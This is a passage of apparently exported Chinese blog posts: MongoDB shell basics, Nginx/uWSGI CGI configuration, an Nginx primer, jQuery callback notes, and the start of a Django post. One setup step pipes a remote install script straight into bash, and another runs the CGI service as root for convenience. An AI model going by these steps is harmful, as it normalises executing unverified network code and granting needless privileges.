这样的文档就可以存在于一个集合里面。\nQ:既然集合没有模式那么存在的意义是什么呢？\nA:实际上集合，我们可以看作是一个数据关系，有关联的数据我们都可以放在一个集合里面，这样的话，就不会存在，在一堆不明事理的数据里面查找\n使用 名字对集合进行标识\n使用命名空间来划分子合集， 来体现更好的层次关系\nblog.posts blog.logs mongoDB 多个文档组成集合，多个集合便组成了数据库。\nmongoDB ，默认监听端口 27017， 使用 28017 作为简易的 HTTP 管理。\nmongoDB 自带了一个shell ，其具有完备的 JS 解释器的功能，甚至可以用来运行JS程序, 甚至可以使用 JS 的标准库，且可以使用多行命令。\n在开启的时候，Shell 会自动连接数据库。mongoDB 的真正有魅力的地方在于此：数据库的连接直接赋值给全局变量 db。\n\u0026gt; use test # 选中数据库 \u0026gt; db # JS 特性输出当却数据库的字符串 \u0026gt; db.test # 这里输出 test 库的 test 集合 所以可见 mongoDB 在数据库的访问形式和传统的 关系数据库有了极大的改变。\nMongoDB 用自己的话讲，它高度的封装了数据库，使用 键值对 的方案，很好的绕过了关系数据库中的，严格的数据模式。这样，数据本身的模式回去有了更大的自由，同一个合集下的记录里的内容可以各自不同。这样的数据库就有了更好的灵活性。于是这样，就可以很方便的封装了数据的增删查改的接口。不会想经典关系数据库中的，必须一个 列名一个 value的一样对应。\nMongoDB 基础 正如 mysql 一样，拥有一个SQL语句的解释器，MongoDB 一样有一个，而且功能十分强大。\nmongoDB 自带了一个shell ，其具有完备的 JS 解释器的功能，甚至可以用来运行JS程序, 甚至可以使用 JS 的标准库，且可以使用多行命令。\n在这个SHELL 里面，数据库本身被封装成了一个全局变量db ，其他的基本操作，都成为了所定义的方法\ninsert find /findOne update remove tips ： 由于本身就是Javascript 的封装，所以，我们就可以巧用 db.funcname 来查看这个方法的定义，值得注意的是，这个后面是没有括号的哦，否则就变成了调用\nShell 中的 增删查改 简明 创建，读取，更新，删除 （CRUD）\n在shell中db 已经作为了一个变量，同样的这些操作，也已经被包装成了方法。\n创建 在创建的时候直接使用 insert给指定的数据集合，插入一个文档。eg：\npost = {\u0026#39;content\u0026#39;: \u0026#39;hello\u0026#39;} #这里简单的定义一个文档 db.test.insert(post) # 响集合内部插入一个文档 读取 读取文档时候可以使用 find 或者 findOne 用与文档的检索\ndb.test.find() # 这样会列出集合中的所有文档（默认前20条） db.test.findOne() # 单条查询 当然在查找语句里面是可以使用限定条件的。\ndb.test.find({\u0026#39;content\u0026#39;: \u0026#39;hello\u0026#39;}) # 找到所有conten键为 hello 的 db.test.findOne({\u0026#39;content\u0026#39;: \u0026#39;hello\u0026#39;}) # 同上，找到一条 读取 使用 update 对文档进行更新。同同样的可以使用限定条件\npost = {\u0026#39;content\u0026#39;: \u0026#39;world\u0026#39;} # 定义更新后的文档 db.test.update({\u0026#39;content\u0026#39;: \u0026#39;hello\u0026#39;}, post) 删除 删除就直接使用 remove ，一样的加上限定条件。\ndb.test.remove({\u0026#39;content\u0026#39;: \u0026#39;hello\u0026#39;}) 数据类型 在MongoDB 里面不一样，数据的类型，和结构显得更加的多元化。甚至一个键的值可以是：\n对象ID objectId() 日期 new Date() 代码 function({a=‘hello’}) 数组 [1,2,3,4,5] 内嵌文档 如果作为字典理解的话，这个就是一个字典了。 ObjectId() 这个方法是比较重要的一个 point 了。实际上这个是一个 MongoDB 的一个全局方法。用于生成一个独一无二的ID ，独一无二这个次是不是已经说明了什么？这里我们使用shell 调用几次：\n\u0026gt; ObjectId() 5b93fd4eab05d01ee4004b3b \u0026gt; ObjectId() 5b93fe01ab05d01ee4004b3c \u0026gt; ObjectId() 5b93fe08ab05d01ee4004b3d 可以看到这个方法的返回值在不断递增。其具体构成规则如下：\n​ 0123 456 78 9 10 11\n​ 时间戳 机器 PID 计数器\n这个ID 是独一无二的，顾名思义，对象ID ，一个ID 就对应了一个文档。这个 objectId 的方法，会在添加新的文档时自动调用，创建一个 {'_id': objectId()} 的键值对。\n执行四次 db.test.insert({'word':'hello'}) 之后，列出当前合集，可见其内容\n_id word 5b93f56eab05d01ee4004b33 hello 5b93f578ab05d01ee4004b34 hello 5b93f578ab05d01ee4004b35 hello 5b93f579ab05d01ee4004b36 hello 后 技术本身在不断的，飞速的迭代着。从 Flash 到 安卓，到 Web。就在过去的短短十年，就有了这样的三座山峰。\n不断的 GO forward ，才能走向浪潮之巅\n","date":"2018-09-08T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2018/09/2018-09-08-mongodb-%E7%AE%80%E6%98%8E%E5%85%A5%E9%97%A8/","tags":null,"title":"MongoDB 简明入门"},{"categories":null,"contents":"前 实践是最好的复习方式，书中所学的东西很快的投入应用。得到的远超过理论本身\n再硅谷百年史中有一句话，大意是这样：\n硅谷并不一定是新技术产生的地方，但是新的技术得以在这片土地得到快速的传播，和应用，技术的本身得到快速迭代，展现出了无尽的生命力。\n上周，一个基础的Nginx入门， 这周很多地方都有用上都能用上。幸哉\n正文 CGI的配置 这部分，简单的记录一个的基于 Nginx 的一个 CGI 服务器的配置过程。\nNginx 的编译安装 这部分在 Linux 的环境下，拥有了一个 GNU 的完整编译链的话，可以很容易的直接\n./configure 使用 AUTOCONF 和 AUTOMAKE 直接生成和当前系统环境下的 配置的 Makefile 。\nmake make install 这两个命令，直接对 Nginx 进行编译安装。得到的文件在\n/usr/local/nginx/ $nginx_root/conf # 这个里面是它的配置文件所在的地方 uWSGI 编译安装 uWSGI 官方提供了一键安装的操作，用起来oneClick ：\ncurl http://uwsgi.it/install | bash -s default /tmp/uwsgi 后面是编译输出的路径。这样一个回车键就可以\n在 /tmp/uwsgi 下面的就是我们编译的bin文件\nNginx CGI 的配置 Nginx 可以根据不同的配置文件，以进程为单位启动多个。\n./nginx [-t # 检查配置文件] [-c 指定配置文件路径] 这里需要注意的是 ，nginx 的配置文件默认在 /usr/local/conf。所以这里，我们可以把配置文件夹拷贝到当前目录，之后使用 c 参数进行指定就好\n下面这部分是 Nginx 的配置，直接在预设的幕布就配置中进行修改就好，这里贴出配置文件：\nworker_processes 1; error_log logs/error.log; # 这里可以配置 log 所记录的日志级别 pid logs/nginx.pid; # Pid 文件，用于保存当前服务进程的PID events { worker_connections 1024; } http { include mime.types; # 多用途互联网邮件扩展（MIME，Multipurpose Internet Mail Extensions） default_type application/octet-stream; # 这里设置类型 #access_log logs/access.log main; # 访问日志 sendfile on; #keepalive_timeout 0; keepalive_timeout 65; #gzip on; server { # 一个虚拟服务器的定义 listen 8000; server_name localhost; charset utf-8; # 设置页面编码 #access_log logs/host.access.log main; # 当前虚拟服务器的访问日志 location / { # 根路由配置 root html; # 注意，如果在编译的时候没有指定 root # 这里的 html 是相对路径在 /usr/local/nginx/html/ index index.html index.htm; } # error_page 404 /404.html; # redirect server error pages to the static page /50x.html error_page 500 502 503 504 /50x.html; # 定向错误码，到路由 location = /50x.html { # 精确匹配路由 root html; # 在 /html 里面找到 50x.html （alias 和 root） } location /cgi-bin { # 这里就是一个 CGI 的路由配置了 include uwsgi_params; # 引入 uwsgi 的所有可用参数 uwsgi_modifier1 9; uwsgi_pass 127.0.0.1:9000; # CGI 请求传入本地监听 的9000 端口 # 交给 uWSGI 执行 } } 可见，在Nginx 里的主要的配置内容，是直接 使用 uWSGI 监听的端口， 进行命令传递，至此Nginx 的配置部分就好了，这里的重点，就是在与对应 路由的配置，\nuWSGI 配置 在 uWSGI 直接使用 ./ 便可以将服务，运行起来。不过会出一堆挺吓人的警告。具体是其没有进行正确的配置。启动命令：\nsudo -u root ./uwsgi ./uwsgi.ini 这里有一点是：uWSGI 服务，用于相应 WEB 请求，所以安全考虑，这里应该有严格的权限控制。使用\nsudo -u nobody 指定用户来启动 CGI 服务，这样可以控制CGI 脚本的权限，避免出现风险。不过这里由于需要对部分文件进行读写， 所以图方便使用了root。\nuWSGI 的配置文件如下\n[uwsgi] processes = 4 # 指定worker数，是uWSGI 的worker master = true # 这个配置重要，启用 master_process 不然将会工作在单线程模式 # 而且，只可以运行在前台 socket = 127.0.0.1:9000 # 连接类型，以及监听端口 chdir = /data/_dir/nginx/cgi-bin # CGI 脚本们的路径 cgi=/cgi-bin=/data/_dir/nginx/cgi-bin cgi-helper=.py=python # 对不同的文件类型指定不同的解释器 daemonize = /data/_dir/nginx/uwsgi/uwsgi.log # 后台运行的日志 pidfile = /data/_dir/nginx/uwsgi/uwsgi.pid # PID 文件 对上面的配置文件做了简单的解释，有了这样的配置文件之后，一个 基于 Nginx 的服务就已经搭建起来了。\nCGI 脚本 CGI 脚本们存在于 cgi-bin 这个目录下，如果有 web 对CGI 的路由进行了访问，那么这个http 请求将会被下发到 CGI 服务（uwsgi） 之后，它创建解释器进程，对我们的 脚本进行执行，并最终接收返回结果，传递回前端。\n这里列出几个简单的脚本\nshell\n#!/bin/bash echo \u0026#34;Content-Type:text/html\u0026#34; echo \u0026#34;\u0026#34; # 空行分隔 echo \u0026#34;hello world!\u0026#34; Python\n#!/usr/bin/env python print(\u0026#34;Content-type: text/html\\n\\n\u0026#34;) print() # 空行分隔 print(\u0026#34;\u0026lt;h1\u0026gt;Hello World\u0026lt;/h1\u0026gt;\u0026#34;) 又是教科书式的 helloworld。 这里我们就直接使用输出函数，对html 内容进行输入，最终他将返回到前端。\n带上参数 对于 CGI 请求，当然是可以带上了参数，这里只 说 GET 这种请求方式\n使用 cgi 模块，可以很容易的提取参数\nimport cgi, cgitb form = cgi.FieldStorage() context = form.getvalue(\u0026#39;keyword\u0026#39;) print \u0026#34;Content-type: text/html\\n\\n\u0026#34; print() # 空行分隔 print(\u0026#34;\u0026lt;h1\u0026gt;Hello World\u0026lt;/h1\u0026gt;\u0026#34;) print(\u0026#34;\u0026lt;h2\u0026gt;context\u0026lt;/h2\u0026gt;\u0026#34;) 小结 Q: Uwsgi 只能前台运行的问题 在配置中 没有指定 Master_process 所以工作在单线程调试模式，./uwsgi 的过程中，发现其只能在前台以单进程的模式运行。在中发现是配置文件中，没有指定Master_process 的数量\n所以导致，其是在单进程情况下运行在前台，多半这个为调试模式下的状态，单进程\nQ: uwsgi 错误invalid request block size 这个其实不算问题，是自己在调试过程中发现的。使用：\ncurl \u0026#34;127.0.0.1:9000\u0026#34; -V 因为 curl 是发送的 http 的请求，uwsgi 默认绑定的是 socket。\n实际上这个和 UWSGI 的绑定的协议有关。在测试时请求的 uwsgi.ini 配置文件里面内容把socket=:8000替换成http=:8000，可以切换 所绑定的协议\nQ: PID 文件使用 在 nginx 和 Uwsgi 的配置文件中，添加 PID 的参数，可以是的其在运行的时候生成 PID 文件\n这样可以快速方便的给相关的进程发信号，进行重启或者是终止\nKill -HUP `cat ./xxx.pid` 一个简单的下载页面 这里是 Nginx 的另一组配置文件，实现的是开放一个页面可以进行文件俩蓝和下载\nhttp { include mime.types; # 多用途互联网邮件扩展（MIME，Multipurpose Internet Mail Extensions） default_type application/octet-stream; # 这里设置类型 #access_log logs/access.log main; # 访问日志 sendfile on; keepalive_timeout 65; #gzip on; server { listen 80; charset utf-8; location / { root html; index index.html index.htm; } location /confs { # 路由 alias /data/_dir/nginx/www/mon_conf; autoindex on; #开启索引功能 autoindex_localtime on; # 显示本机时间而非 GMT 时间 auth_basic \u0026#34;Enter your name and password\u0026#34;; # 指定验证文件 auth_basic_user_file /data/_dir/nginx/www/mon_conf/.htpasswd; index index.html index.htm; } location /query { rewrite ^ /cgi-bin/query.py last; # 这里的路由重写 } location /cgi-bin { internal; # 内部访问，外部访问时 404 include uwsgi_params; uwsgi_modifier1 9; uwsgi_pass 127.0.0.1:9000; } } } 页面的登入认证 由于这里可以直接进行文件访问，所以添加了页面的登陆验证\nauth_basic \u0026#34;Enter your name and password\u0026#34;; auth_basic_user_file /data/_dir/nginx/www/mon_conf/.htpasswd; 在线 htpasswd 生成器 htpasswd 是开源 http 服务器 apache httpd 的一个命令工具，用于生成 http 基本认证的密码文件。 这里简单的测试， admin:1234 (MD5) 得到密文\nadmin:$apr1$PqhZgBDT$pAwEYVAKKXdHIXxqvbEYU/\nURL 的重写 URL 的重写，这里实现的是隐式的重定向。就是我们的页面发生跳转，但是URL 不发生变化。\n这里使用 nginx 的 rewrite 模块实现相关功能。具体配置如下：\nlocation /query { rewrite ^ /cgi-bin/query.py last; # 这里的路由重写 } location /cgi-bin { internal; # 内部访问，外部访问时 404 include uwsgi_params; uwsgi_modifier1 9; uwsgi_pass 127.0.0.1:9000; } 下面的CGI 部分和之前是没有什么区别，不过值得注意的是 ， 这里的internal 的修饰。说明这刚路由路径，不可以从外部进行访问。\n所以在 这里进行了重定向 rewrite ^ /cgi-bin/query.py last; 对 query 进行重写，相对的就是对重写后的地方进行访问。\nrewrite 的标识 不写last和break - 那么流程就是依次执行这些rewrite\nrewrite break - url重写后，直接使用当前资源，不再执行location里余下的语句，完成本次请求，地址栏url不变 rewrite last - url重写后，马上发起一个新的请求，再次进入server块，重试location匹配，超过10次匹配不到报500错误，地址栏url不变 rewrite redirect – 返回302临时重定向，地址栏显示重定向后的url，爬虫不会更新url（因为是临时） rewrite permanent – 返回301永久重定向, 地址栏显示重定向后的url，爬虫更新url 引用自 Nginx中的rewrite指令(break,last,redirect,permanent) 一些总结 502 和 504 502 Bad Gateway 504 Gateway time-out 503 Service Unavailable 正如其 英译过来，\nBad Geteway 一般发生在当前的HTTP请求，在进行 CGI 分发的时候，发生错误，比如 :9000 端口连接失败。或者 CGI 服务没有启动 Gateway time-out Nginx 在进行任务分发之后，超过预定时间，没有得到 CGI 服务器的 echo，可能是 CGI 服务的进程阻塞 Service Unavailable 由 CGI 服务直接返回，无法处理任务的请求，一般是流量太大导致的问题 参考内容 The uWSGI project ","date":"2018-09-08T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2018/09/2018-09-08-nginx-%E5%9F%BA%E7%A1%80%E6%9D%82%E8%AE%B0/","tags":null,"title":"Nginx 基础杂记"},{"categories":null,"contents":"前 Nginx 是个好东西。。。\nNginx 的wiki 定义\nNginx（发音同engine x）是一个异步框架的 Web服务器，也可以用作反向代理，负载平衡器 和 HTTP缓存。该软件由 Igor Sysoev 创建，并于2004年首次公开发布。[6] 同名公司成立于2011年，以提供支持。[7]\n平时或多或少的在使用 Nginx 这个服务，但是很少系统的去学习它。作为OP这个东西肯定是十分重要的，所以抽个时间和机会，系统的了解吧~\n这篇将是一个简明的入门笔记，也算得上的一本读书笔记了，陶利军老师的 《决战Nginx》\nNginx : 2004/10/4 类BSD C-language\nweb访问的顺序：web浏览器 -\u0026gt; web服务器（狭义）-\u0026gt; web容器 -\u0026gt; 应用服务器 -\u0026gt; 数据库服务器\n这里强烈PICK 一下国内的 GITBOOK 平台 看云上的一个系列\nNGINX-hiyang web服务，服务器，容器，中间件 NginX nginx 的作用: HTTP svr Nginx 严格意义上 称为 HTTP SEVRVER :: HTTP 协议层面的传输和访问控制,所以可以看到代理、负载均衡等功能。\n客户端通过 HTTP Server 访问服务器上存储的资源（HTML 文件、图片文件等等）。通过 CGI 技术，可以实现对路由路径进行功能分发，但是一个 HTTP Server 始终只是把服务器上的文件如实的通过 HTTP 协议传输给客户端的这样的一个存在。\n所以总结来讲， Nginx 严格意义上是一个 HTTP 服务器， 在主机上开放了HTTP 的响应端口，可以对我们的HTTP 的不同请求，进行不同的任务分发，注意这里不是响应，是内容分发。通过 Nginx 的配置，可以对不同的请求内容，分发到不同的任务去。\n比如配置一个目录为图像目录，那么我就可以使用\ncurl www.imang.com/image/xxxx.jpg -v 来进行一次图像的访问访问，这个内容便是通过 Nginx 进行配置的。\n再者，我们可以是呀\ncurl www.imang.com/cgi-bin/xxxx -v 这里可以进行一次 CGI 的请求，这里一样的的是Nginx的配置，把 cgi-bin 里面的xxxx 配置为我们的 本地脚本执行\n所以综上 Nginx 的作用就是把我们的HTTP 请求进行不同的任务下发，静态文件，CGI，负载均衡，etc\nNginx 的基本模块 Nginx 是基于模块化的构建方式。常用的用户配置有一些模块：\n内核模块 CoreModule 事件驱动模块 EventModule HTTP内核模块 HttpCoreModule 所以，我们的配置内容就存在上述的对应的三种配置，一些基本基本配置项\nCoreModule error_log logs/error.log 用日志记录指定 deamon on | off 是否是守护进程，否则Nginx 只能进行前台运行 include file | * 这里用于引入其他配置文件，包含上面的事件配置，HTTP 配置，但不限于 PID 指定Nginx 的 .pid 文件 worker_cpu_affinity worker cpu 亲和性，这个挺有意思，可以指定WOrker使用的CPU $pid 这个是个变量，或者说是宏，用于表示当前运行的服务器的PID EventModule 事件模块决定了 处理路由路径的 过程，一般缺省，对性能较大影响 HttpCoreModule Http服务器的基础配置模块 alias 定义路由结构 见后 root 定义路由结构 见后 error_page [404/500] 这个用于对不同的错误码的返回配置，所以就有了 404 页面，不再是单独那几个字了 internal 指定路径为内部访问，这里可以对路由路径进行内部连接，不允许用户从外部直接访问 limit_except [get/post] 这个可以对一个路径的 请求方式进行限制 listen [[ip]:port] 重要，指定虚拟服务器所监听的端口，见后 localtion [通配] url {} 重要，对指定的URL配置到不同的访问 post_action 一个请求完成之后所执行的URL，和Internal 连用 server {} 用于虚拟主机的配置 server_name [] 匹配请求头中的Host 字段，www.example.com $args 变量，代表GET的请求行中的参数 $request_uri 用户当前请求的原始 URI $uri 当前请求的URI ，可能发生内部重定向，所以不一定和上面的req 相同 一个 Http 模块的配置示例\nhttp { server { listen 80; server_name www.domain1.com; access_log logs/domain1.access.log main; location / { index index.html; root /web/www/domain1.com/htdocs; } } server { listen 80; server_name www.domain2.com; access_log logs/domain2.access.log main; location / { index index.html; root /web/www/domain2.com/htdocs; } } include /opt/nginx/conf/vhosts/www.domain2.com.conf; } 一个内部重定向的实现 post_action\nlocation /dosomething { internal; proxy_pass http://127.0.0.1 post_action /afterdosomething } location /dosomething { internal; # 内部路径，外部无法访问 fastcgi_pass 127.0.0.1/cgi # 这里也展现出了CGI } Master 与 Worker Nginx 使用的是 Master-Worker 的这种结构。通俗讲，就是 包工头和工人。master负责端口服务，接收连接之后进行下发分配；worker 是负责连接连接内容处理。\nps auxf | grep nginx root 6174 0.0 0.0 28876 428 ? Ss 14:35 0:00 nginx: master process ./sbin/nginx root 6175 0.0 0.2 29364 2060 ? S 14:35 0:00 \\_ nginx: worker process 这里可以看到，master和worker进程。\n对于 Master 进程我们可以给他发信号\n信号 功能 WINCH Master 关闭所有的worker HUP 重新装载Nginx 配置（服务重启动，同reload）,后面的PID使用了这个信号 这里有个很有趣的东西，我们对 master发信号\nkill -WINCH `cat /var/log/myserver.pid` 之后，再进行我们的HTTP访问，发现可以进行连接，可是一直保持着加载，直到最后的超时。\n因为，我们这里 让master kill 了所有的worker 。有人接活，没人干了，哈哈\nnginx 与 PHP 在网上看到一句话：\nNginx 本身是不支持 PHP 的\n毕竟不了解，一直很纳闷。php在在nginx 的主机上跑的好好的怎么就不支持了呢。\n实际上 Nginx 上的PHP，严格意义上讲是通过第三方的支持，而本身是不能直接解释 PHP 脚本的。\nLAMP 的经典架构下面，需要这几个东西：\nLinux 安装 Apache 安装 php 安装 mysql 简简单单的几个 apt-get 发现使用\n\u0026lt;?php phpinfo(); ?\u0026gt; 页面就已经得到了解析了。因为，当我们对目标php进行访问之后，apache 自动的开始 解释脚本，和渲染内容了，所以apache 是支持php 的。\n然而，如果我们把 index.php 放在Nginx 的根目录下，打开是怎样的？\n结果是完完全全的纯文本的形式打开了来。可见Nginx 并未对PHP脚本进行解析。所以说 Nginx 是不支持 php 是正确的。\n那么一个 PHP 的页面要怎么跑上去呢？\n在这里， Nginx 把他转换成了一个 CGI 问题 ： FastCGI！\n与为每个请求创建一个新的进程不同，FastCGI使用持续的进程来处理一连串的请求。这些进程由FastCGI服务器管理，而不是web服务器。 当进来一个请求时，web服务器把环境变量和这个页面请求通过一个socket比如FastCGI进程与web服务器（都位于本地）或者一个TCP connection（FastCGI进程在远端的server farm）传递给FastCGI进程。\nHttp服务其的作用是任务下发的\nFastCGI 是 Nginx 下的一个模块 ngx_http_fastcgi_module 。通过这个模块，我们可以把对应路径的HTTP 请求，可以下发到 fastcgi 这个模块，这个模块会使用 语言对应的解释器，进行执行，并返回结果!,\n这事就这样成了\nphp本身只是一种脚本语言，其良好的特性使其可以服务 web\n在PHP 里面我们很容易的可以：\n这样来个教科书式的 hello 。这里使用 php 这个 解释器对这个脚本进行了解释，输出了这样的结果。\n这里就出现了 PHP-FPM (FastCGI Process Manager)。\n这个就是 Nginx 使用FastCGI 最终所使用的东西。它负责创建管理 解释PHP 的进程。这个过程也越来越明了了\n搞不清FastCgi与PHP-fpm之间是个什么样的关系 这里，便贴出来核心配置， 这样一看便懂了\nserver { listen 8011; server_name test.cn; location ~ \\.php?.*$ { root /share/test; fastcgi_pass 127.0.0.1:9000; fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; include fastcgi_params; } } root 代表以此为根 fastcgi_pass 指定了fmp 的监听端口 （注意 FPM 是一个已经启动的服务） fastcgi_param 这个就是重要的参数了，这里传递给了fastcgi 一个SCRIPT_FILENAME的参数，其参数值 将要被执行的脚本的文件名 ，文件路径， 这样一个流程下来， PHP 就可以被执行了\n一些值得注意的地方 master_process 这个配置项 master_process on | off 测过配置项如果 使用 off ，nginx 就会使用单进程模式运行，方便调试\nPID 文件的作用 在配置里面会有这样一行\npid /var/log/xxx.pid PID 从字面上理解这里是processID，这个文件也的确是保存的当前运行的PID 。这样我们如果运行了多个 Nginx 的进程， 我们想kill 掉其中的的一个，就可以很方便的使用这个 PID 文件\nkill -HUP `cat /var/log/xxx.pid` root 和 alias location ^~ /admin { root /vagrant/pro/static; } location ^~ /admin2 { alias /vagrant/pro/static; } 在对 一个虚拟服务器 的location 配置的时候，这里就需要涉及到其路由相关的配置。里面就有了 alias 和root 这两种指定路径的方式。\n简单的讲，\nalias 直接把我们请求的路径 直接替换为下面的绝对地址 正如其译意 别名\n*.com/admin --\u0026gt; /vagrant/pro/static root 的意思是根， 这里意味着把下面指定的绝对路径作为访问的根目录，之后再在后面添加上我们请求的路径\n*.com/admin --\u0026gt; /vagrant/pro/static/admin 在一般使用的时候使用alias ，同时可以使用正则，和参数。\n这里配置一个下载的话使用如下配置文件。\n```~ location ~ ^/download/(.*)$ { alias /data/files/$1; }\n这样可以实现一个匹配下载的功能，可以使用 `get /download/xxx.exe`的方式即可返回 xxx.exe #### IPv4 到 IPv6 这里虽然不是很常用，现在国内的IPV6 还杳无音讯。不过这里记录一下。 在Listen 进行虚拟服务器的 端口绑定的时候 listen *：80; # 意味着所有本机地址的监听 listen loaclhost:8000;\nIPv4 到 IPv6 的映射： ::ffff:127.0.0.1\n使用这样的方法，可以实现把一个 v4 的流量转发到一个 v6 的监听端口上 ## 问题 这里是自己的一些问题，和理解。是自问自答，和网上的问题的收集。 - [tomcat 与 nginx，apache的区别是什么？](https://www.zhihu.com/question/32212996) ## 参考资料 - [web服务，服务器，容器，中间件](http://www.voidcn.com/article/p-odsszfoq-eh.html) ","date":"2018-09-05T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2018/09/2018-09-05-nginx-%E7%AE%80%E6%98%8E%E5%85%A5%E9%97%A8/","tags":null,"title":"Nginx 简明入门"},{"categories":null,"contents":"Foreword 这个计划叫做 TC 计划， 没错，叫做 Tab Closing。\n每周的的现象是什么？ 浏览器的标签爆炸。\n总是有些好的内容，舍不得关闭。可是有没有再去看，所以，借机整理一下了~\nContext 关于 BootStrap 这个东西算是贯串了整个的开发周期的东西。什么是 BootStrap ？简单来讲就是一个前端的 UI 框架。\nBootstrap是一组用于网站和网络应用程序开发的开源前端框架，包括HTML、CSS及JavaScript的框架，提供字体排印、窗体、按钮、导航及其他各种组件及Javascript扩展，旨在使动态网页和Web应用的开发更加容易。\n简单来讲，其实就是可以很容易的是的我们的页面变得更加 的好看。我们的 html 的基本组件，显得十分单一啦。通过bootstrap的框架，使得我们可以使用其中预设的一些组件和样式，这样使得我们的ui的设计显得更加的容易和美观。使用期预设的组件，显得都是那么美观了。\n这里 对资料进行一些整理。\nbootstrap - runboo bootstrap-slider bootstrap-table bootstrap-switch 关于 JQuery 很久之前， 有在图书馆 见到一本书 《锋利的jquery》，当时因为不清楚，也没有被 好奇心驱使 。所以，最近在知道这个 是什么东西。(笑， 看到 query 之前一直以为和数据库有关系)\n这里搬出 百科内容。\njQuery是一套跨浏览器的JavaScript库，简化HTML与JavaScript之间的操作。\nJavaScript - W3School Jquery - W3School AJAX - W3School 世界上最大的WEB开发者网站 - W3schools Js 里的 (异步)回调 感觉 js 这种函数式 编程的精妙的结构，在下面的简简单单的三行代码，就体现出来。\n$(\u0026#34;#profileTab\u0026#34;).append(function (index, html) { return $(\u0026#39;#tab_profile\u0026#39;).html().replaceAll(\u0026#39;tmpvar\u0026#39;, id); }); JS 里面实现一个回调的结构：\nfunction add(arg1, arg2, callback){ var num = arg1 + arg2; callback(num);　//传递结果 } add(10, 20, function(num){ console.log(\u0026#34;Callback called! Num: \u0026#34; + num); });　之前，对这些东西，并不是十分理解，深圳觉得这样的结构是不是有些多余。这样的东西，完全可以使用一个顺序的正常的结构实现啊\nfunction add(arg1, arg2, callback){ var num = arg1 + arg2; print(num);　//传递结果 } 这样就可以实现上面的功能了，而且简单很多，然而实际上，并不是这样的了。\n回想起来，如果在之前的应用程序开发的过程中。如果把一个冗长的过程放在主线程里，会怎样？\n比如在主线程里面进行网络请求，常常这个过程，会有一段响应时间，这样就直接导致了我们的主线程的阻塞。所以，Android 的 sdk 里面，已经禁止了在主线程里面进行网络请求。否则直接导致了 app 的卡顿了。所以这时候，要是传统的应用，理应会打开了一个 线程，来进行网络操作。\n不过这个问题，在JS 里面有了另外一种的优雅的解决方案，就是这里括号里面的字，异步。在我们使用了回调结构之后。会发现，add 函数并不会阻塞原运行的过程。而是继续的向下运行。\n彻底理解javascript的回调函数\nJS 的事件绑定 关于 JS 里面的页面事件 绑定，用其来，的确是很直观\n$(\u0026#34;p\u0026#34;).click(function(){ $(this).hide(); }); 这样的很简单的语句，就是实现了在文中的所有的 \u0026lt;p\u0026gt; 元素绑定了点击事件。\n可心中有了个疑问，这个事件是怎么进行绑定的呢？直到遇到了这样的问题：\nfunction tab_trOnclick(){ var trs=$(\u0026#34;#block_set_table tbody tr\u0026#34;); for(var i=1;i\u0026lt;trs.length;i++){ $(trs[i]).on(\u0026#34;dblclick\u0026#34;,function(){ console.log(i); }); } } 这里的代码，之前的我是这样理解的：\n首先这段代码得到运行，得到每一行的标签\u0026lt;tr\u0026gt; ， 之后对每个元素的对于的 点击事件函数进行初始化。然后，对每一行的点击，之后控制台里会打印出对应的行的行号。第一行里面的 i 是 1，那么点击第一行就输出 1。以此类推。\n不过事实上运行的 结果是：点击每一行都只是输出一个相同的数字。而且其数字等于 tr 的个数，也就是我们的行数。\nwhy? 这里就出现问题了。前面的内容讲到：回调？异步？所以事实上的过程就清楚了。是这样的：\nfor 循环执行了 $(x).on() , 这个函数是个回调函数。事实上是一个有实践进行触发的函数。当没有时间的时候，这个回调，不会继续的执行下去。然而在主线程里面，这个 for 还在不断的给其他的 tr 来绑定事件。这个 i 的值还在不断加1 直到所有绑定全部完成。 (注意！这里的回单函数没有返回，所以这里的函数的作用域中的变量值一样的没有被释放)。 当我们进行点击的时候，那时的 i 就是 tr 的个数 没错了。\n所以，这种情况下，需要在回调中获得原元素中的 id 信息，从而得到序号。最终得到的代码如下：\nfunction tab_trOnclick(){ var trs=$(\u0026#34;#block_set_table tbody tr\u0026#34;); for(var i=1;i\u0026lt;trs.length;i++){ $(trs[i]).on(\u0026#34;dblclick\u0026#34;,function(){ var tr=$(this); var reg = new RegExp(\u0026#34;^[0-9]*$\u0026#34;); rowNum = (tr.context.id).match(\u0026#34;[0-9]*$\u0026#34;)[0] console.log(rowNum) }); } } 元素复用列表追加 有个需要用到多次的元素， 如果直接使用 html\n进行硬编码，得到 n*xx 的代码体验的确是不怎么优雅。 这里使用 JS 对空标签进行 append ：\n\u0026lt;div id=\u0026#34;test\u0026#34;\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;script\u0026gt; for(var i=1;i\u0026lt;trs.length;i++){ $(\u0026#39;#test\u0026#39;).append(\u0026#39;\u0026lt;h4\u0026gt;hello\u0026lt;/h4\u0026gt;\u0026#39;); }; \u0026lt;/script\u0026gt; 遇到的问题 动态添加元素的事件绑定\njquery动态添加元素无法触发绑定事件的解决方案\n元素重复初始化\n后 慢慢的对 web 开发的整体结构有了了解，现在有了基础，就要开始高速适用了。\n","date":"2018-08-19T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2018/08/2018-08-19-web-%E6%9D%82%E8%AE%B0/","tags":null,"title":"Web 杂记"},{"categories":null,"contents":"Foreword 古语有言：勤能补拙。这个也算是自己的一周的总结吧。把一周的学到的，和自己的一些感悟做个记录吧。\n虽然，是很基础的东西，不过一切都是从基础开始的对吧？\nsigh\u0026hellip;\nContext 理论 Django 是什么？ Python下有许多款不同的 Web 框架。Django是重量级选手中最有代表性的一位。\nDjango 是 python 的一个 web的框架。在框架中整合了，web 服务中的所涉及的功能。\n提供web服务 后台数据获取 请求响应 前端什么的真的是不怎么懂，自然会有些，很傻的问题。不过实际上也是困扰了自己很久的问题：\n大（中）型网站的后端会用到C/C++吗\nWeb 开发中，Python 和 PHP 哪个有优势？\nPHP 本身是一种编程语言，是和 python 一个层级，.py 需要 python runtime 。.php 需要 php 的runtime。两个东西都可以很简单的使用 python x.py 和 php x.php 的运行起来\n当 python 使用 flask/Django 开始web 开发的时候了。和 PHP 的web框架(ThinkPHP) 作用在一个层级了。不准确的讲每次访问，都会启动一个进程，对这个脚本内的内容进行运行， 这里的运行是在服务器端的。对我的的请求进行解析，比如url 的路由路径， 请求方式等进行响应。\n这时候仍然是在服务器端， 进行数据库的增删查改。 